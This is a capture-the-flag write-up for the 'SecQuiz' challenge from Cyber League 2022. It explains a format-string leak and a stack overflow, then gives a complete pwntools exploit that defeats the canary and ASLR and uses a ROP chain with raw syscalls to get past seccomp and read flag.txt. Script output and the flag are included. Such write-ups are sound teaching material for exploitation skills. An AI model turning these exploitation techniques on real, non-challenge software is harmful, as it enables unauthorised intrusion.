Cyber League Major 2 2022
SecQuiz
I have enabled most of the security mechanisms. I guess my binary is secure.
Note: the flag is stored in flag.txt
Running checksec
, we see we have all security mitigations enabled:
➜ bin-secquiz checksec secquiz
[*] '/home/justin/cl2/bin-secquiz/secquiz'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Decompiling with ghidra, we zoom in to the interesting bits.
void main(void) {
int iVar1;
long in_FS_OFFSET;
char local_15[5];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setup();
puts("Welcome to guessy quiz!");
create_account();
do {
while (true) {
while (true) {
banner();
read(0, local_15, 4);
iVar1 = atoi(local_15);
if (iVar1 != 1) break;
start_quiz();
}
if (iVar1 != 2) break;
view_highest_score();
}
if (iVar1 == 3) {
exit_quiz();
} else {
puts("Invalid choice");
}
} while (true);
}
void setup(void) {
long lVar1;
undefined8 uVar2;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
uVar2 = seccomp_init(0);
seccomp_rule_add(uVar2, 0x7fff0000, 5, 0);
seccomp_rule_add(uVar2, 0x7fff0000, 1, 0);
seccomp_rule_add(uVar2, 0x7fff0000, 2, 0);
seccomp_rule_add(uVar2, 0x7fff0000, 0, 0);
seccomp_rule_add(uVar2, 0x7fff0000, 3, 0);
seccomp_rule_add(uVar2, 0x7fff0000, 0x3c, 0);
seccomp_load(uVar2);
setbuf(stdin, (char *)0x0);
setbuf(stdout, (char *)0x0);
setbuf(stderr, (char *)0x0);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void create_account(void) {
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
printf("%s", "Enter your name (20 characters):\n> ");
fgets(NAME, 0x14, stdin);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void start_quiz(void) {
int iVar1;
long in_FS_OFFSET;
int local_158;
int local_154;
char local_14d[5];
char local_148[312];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
srand(0x539);
NUM_OF_CORRECT_ANS = 0;
PLAY = 1;
for (local_154 = 0; local_154 < 3; local_154 = local_154 + 1) {
printf("%d. Guess a number between 1-100 (inclusive): \n> ", (ulong)(local_154 + 1));
read(0, local_14d, 4);
local_158 = atoi(local_14d);
while ((local_158 < 1 || (100 < local_158))) {
printf("> ");
read(0, local_14d, 5);
local_158 = atoi(local_14d);
}
iVar1 = rand();
if (local_158 == iVar1 % 100 + 1) {
NUM_OF_CORRECT_ANS = NUM_OF_CORRECT_ANS + 1;
}
}
printf("Score: %d\n", (ulong)NUM_OF_CORRECT_ANS);
if ((int)HIGHEST_SCORE < (int)NUM_OF_CORRECT_ANS) {
HIGHEST_SCORE = NUM_OF_CORRECT_ANS;
}
if (NUM_OF_CORRECT_ANS == 3) {
puts("Congrats! You have guessed all the questions correctly");
printf("How did you managed to guess correctly?\n> ");
fgets(local_148, 1000, stdin);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void view_highest_score(void) {
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
if (PLAY == 0) {
puts("You have not tried the quiz yet");
} else {
printf("Name: ");
printf(NAME);
printf("Highest Score: %d/3\n", (ulong)HIGHEST_SCORE);
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Firstly, we see that we have seccomp
rules enabled:
➜ bin-secquiz seccomp-tools dump ./secquiz
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == close) goto 0011
0009: 0x15 0x01 0x00 0x00000005 if (A == fstat) goto 0011
0010: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
Now we go bug hunting.
Bug 1: On Line 103, we have a buffer overflow where fgets
reads 1000 bytes into a stack array which is only 312 bytes long. This is triggered when we successfully "guess" 3 "randomly" generated numbers. However, srand
is called with the same number everytime - we can just break at the comparison with a debugger and note down the value compared to.
Bug 2: On Line 121, we have a format string bug where NAME
is a 20 byte, user controlled buffer which we can write to at the start of the program.
Bug 1 is the interesting one - we can override the return address of the function and gain control of executed instructions. However, with stack canaries enabled, blindly overwriting the canary will cause the program to quit.
Bug 2 is still useful to leak information from the stack, most importantly to leak the stack canary (which stays the same for each run of the binary) and use it as part of our buffer overflow payload.
Our plan of attack is thus as follows:
- Enter a
NAME
that leaks the value of the stack canary from the stack - Play the quiz, submitting wrong answers so that we can display the high score and trigger the format string bug
- Trigger the format string bug, leaking the stack canary
- Play the quiz again, submitting correct answers so that we can trigger the buffer overflow
What next? We now have control over the instruction pointer...except with ASLR enabled, we don't know where we can jump to. The obvious thing to do now is to leak the position of libc in memory and call system(/bin/sh)
, but the seccomp
rules prohibit this.
We thus tweak our exploitation of Bug 2 - we leak the following:
- Stack canary (item 1)
- Address of the stack (item 2): inspection of the stack right before the
printf
shows that we have a pointer to somewhere on the stack. Leaking this allows us to compute the address to the buffer that Bug 1 overflows. - Return address into the binary (item 3): this leaks the address of the binary, allowing us to calculate the base of the binary and thus use ROP gadgets from the binary
__libc_start_main+243
(item 9): this leaks the address of a symbol in libc, allowing us to calculate the base of libc
We now take a slight detour to identify the libc version used on the server by leaking the GOT entry of various functions.
To accomplish this, we create a ROP chain to call printf
to leak the GOT entries. We make use of the buffer that overflows as the format specifier for printf
, placing our format specifier (terminated by a null as end of string) there.
rop = ROP([e])
# rop.call(rop.ret) # padding for moveaps to operate on 16 bit aligned data pointer
rop.call("plt.printf", [addr_buffer_start, e.symbols["got.rand"]])
play(correct=True)
payload = flat({
0: b"foo%sbar\x00",
312: p64(canary),
312 + 16: rop.chain()
})
r.sendlineafter(b"guess correctly?\n", payload)
r.recvuntil(b"foo")
recv = r.recvuntil(b"bar", drop=True) + b"\x00\x00"
res = u64(recv)
print(hex(res))
(Note the potential need to pad the position of the ROP chain if calls to libc segfaults at a moveaps
instruction - it was observed that moveaps
was called with a stack pointer as an operand, which must be 16 byte aligned. Adding an extra ret
pad to the ROP chain shifts the stack pointer so that the moveaps
operand is aligned)
We then run the above against the remote server repeatedly, and note down the last 3 nibbles of the addresses returned. The last 3 nibbles of multiple functions is sufficient to identify the libc version used because these offsets are not affected by ASLR.
read
:0x130
exit
:0xbc0
__libc_start_main
:0xfc0
Keying these functions and offsets into https://libc.rip/ returns three options. Not being able to narrow it down further, we grab all three and start with libc6_2.31-0ubuntu9.3_amd64
.
Now that we have the libc version, we can take full advantage of the functions and gadgets within. Unfortunately, due to the seccomp
rules, we can't call open
directly because it eventually calls sys_openat
which is blocked by seccomp
.
We take the slightly more laborious route of executing sys_open
and sys_read
directly (referencing this nice table). We make use of a syscall; ret;
gadget in libc, setup rax
, rdi
, rsi
and rdx
accordingly and fire away.
rop = ROP([e, libc])
rop(rax=2) # sys_open
rop.call(libc.address + OFFSET_SYSCALL_RET, [addr_buffer_start, 0, 0]) # sys_open, returns next fd=3
rop(rax=0) # sys_read
rop.call(libc.address + OFFSET_SYSCALL_RET, [3, addr_buffer_start, 64]) # sys_read, fd=3, 64 bytes
rop.call("plt.puts", [addr_buffer_start])
We also don't bother reading the return value of sys_open
because we can assume its the next available file descriptor (confirmed with a debugger locally) - 3.
Put together, we get our flag:
from pwn import *
# Inspect with debugger
ANSWERS = [82, 63, 28]
BINARY = "./secquiz"
# local = True
local = False
if local:
OFFSET_LIBC_ADDR_MAIN = 0x23f90
OFFSET_SYSCALL_RET = 0x10db59
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
else:
OFFSET_LIBC_ADDR_MAIN = 0x26fc0
OFFSET_SYSCALL_RET = 0x110cc9
libc = ELF("./libc6_2.31-0ubuntu9.3_amd64.so")
e = ELF(BINARY)
context.arch="amd64"
if local:
r = process(BINARY)
gdb.attach(r, """
b *start_quiz+435
b *start_quiz+452
ignore 1 100000
ignore 2 1
c
""")
else:
r = remote("54.254.227.27", 5004)
# """
# read=0x130
# exit=0xbc0
# __libc_start_main=0xfc0
# https://libc.rip/
# libc6_2.31-0ubuntu9.2_amd64
# libc6_2.31-0ubuntu9.1_amd64
# libc6_2.31-0ubuntu9.3_amd64
# """
r.sendlineafter(b"20 characters):", b"%7$p%8$p%9$p%15$p")
# Play once
def play(correct=False):
r.sendlineafter(b"Start Quiz", b"1")
for ans in ANSWERS:
if correct:
r.sendlineafter(b"inclusive): \n", str(ans).encode("utf8"))
else:
r.sendlineafter(b"inclusive): \n", b"1")
play()
r.sendlineafter(b"highest score", b"2")
r.recvuntil(b"Name: 0x")
canary = int(r.recvuntil(b"0x", drop=True), 16)
addr_stack = int(r.recvuntil(b"0x", drop=True), 16)
addr_main = int(r.recvuntil(b"0x", drop=True), 16) - 136
addr_libc_start_main = int(r.recvline(), 16) - 243
print(f"{hex(addr_libc_start_main)=}")
addr_buffer_start = addr_stack - 0x170
libc.address = addr_libc_start_main - OFFSET_LIBC_ADDR_MAIN
e.address = addr_main - 5708
print(f"{hex(e.address)=}")
print(f"{hex(libc.address)=}")
# Used to leak libc offsets to identify version
# rop = ROP([e])
# # rop.call(rop.ret) # padding for moveaps to operate on 16 bit aligned data pointer
# rop.call("plt.printf", [addr_buffer_start, e.symbols["got.rand"]])
# print(rop.dump())
# play(correct=True)
# payload = flat({
# 0: b"foo%sbar\x00",
# 312: p64(canary),
# 312 + 16: rop.chain()
# })
# r.sendlineafter(b"guess correctly?\n", payload)
# r.recvuntil(b"foo")
# recv = r.recvuntil(b"bar", drop=True) + b"\x00\x00"
# res = u64(recv)
# print(hex(res))
# r.interactive()
rop = ROP([e, libc])
# rop.call(rop.ret) # padding for moveaps to operate on 16 bit aligned data pointer
rop(rax=2) # sys_open
rop.call(libc.address + OFFSET_SYSCALL_RET, [addr_buffer_start, 0, 0]) # sys_open, returns next fd=3
rop(rax=0) # sys_read
rop.call(libc.address + OFFSET_SYSCALL_RET, [3, addr_buffer_start, 64]) # sys_read, fd=3, 64 bytes
rop.call("plt.puts", [addr_buffer_start])
print(rop.dump())
play(correct=True)
payload = flat({
0: b"flag.txt\x00",
312: p64(canary),
312 + 16: rop.chain()
})
r.sendlineafter(b"guess correctly?\n", payload)
r.interactive()
➜ bin-secquiz python3 solve.py
[*] '/home/justin/cl2/bin-secquiz/libc6_2.31-0ubuntu9.3_amd64.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/justin/cl2/bin-secquiz/secquiz'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 54.254.227.27 on port 5004: Done
hex(addr_libc_start_main)='0x7f4d4f86bfc0'
hex(e.address)='0x55c39a800000'
hex(libc.address)='0x7f4d4f845000'
[*] Loaded 14 cached gadgets for './secquiz'
[*] Loaded 201 cached gadgets for './libc6_2.31-0ubuntu9.3_amd64.so'
0x0000: 0x7f4d4f88f550 pop rax; ret
0x0008: 0x2
0x0010: 0x7f4d4f961371 pop rdx; pop r12; ret
0x0018: 0x0 [arg2] rdx = 0
0x0020: b'iaaajaaa' <pad r12>
0x0028: 0x7f4d4f86c529 pop rsi; ret
0x0030: 0x0 [arg1] rsi = 0
0x0038: 0x55c39a80175b pop rdi; ret
0x0040: 0x7ffda501c6f0 [arg0] rdi = 140727371810544
0x0048: 0x7f4d4f955cc9
0x0050: 0x7f4d4f88f550 pop rax; ret
0x0058: 0x0
0x0060: 0x7f4d4f961371 pop rdx; pop r12; ret
0x0068: 0x40 [arg2] rdx = 64
0x0070: b'daabeaab' <pad r12>
0x0078: 0x7f4d4f86c529 pop rsi; ret
0x0080: 0x7ffda501c6f0 [arg1] rsi = 140727371810544
0x0088: 0x55c39a80175b pop rdi; ret
0x0090: 0x3 [arg0] rdi = 3
0x0098: 0x7f4d4f955cc9
0x00a0: 0x55c39a80175b pop rdi; ret
0x00a8: 0x7ffda501c6f0 [arg0] rdi = 140727371810544
0x00b0: 0x55c39a801050 plt.puts
[*] Switching to interactive mode
> CYBERLEAGUE{y0u_4r3_4_g00d_5tack_sma5h3r}aaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaad
[*] Got EOF while reading in interactive